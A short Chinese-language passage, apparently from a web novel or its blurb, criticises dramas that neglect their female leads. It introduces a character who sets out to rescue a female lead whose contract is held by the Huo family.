但美丽又真的有那么重要吗,也没有。人终究会被复杂的灵魂吸引,审美是可以疲劳的,灵魂却独一无二。市面上大部分剧,会努力渲染女主外貌,却吝于施舍她灵魂。女主因为外表获得初期好感,却会在后期成为哺育男主的养分。当人流散去,只能得到一句“为了女主来的,但被男主吸引了。”再后来,连唯一拥有的颜值,都可以在人设滤镜下,被男主艳压了。 秋天怡最不能忍受的就是黑白被颠倒,有的人在颠倒的世界里沉默,有的人在颠倒的世界里得意。 她想将女主的命运拨正,强烈到甚至可以改变自己的人生轨迹,但女主的“卖身契”,还压在霍氏手里。 既然如此,山不就我,我来就山,女主出不来,她就亲自过去! “招。” 青青:我行我上! 向大家展示一下事业粉的极限,姐姐的事业由我亲自守护[笑哭]!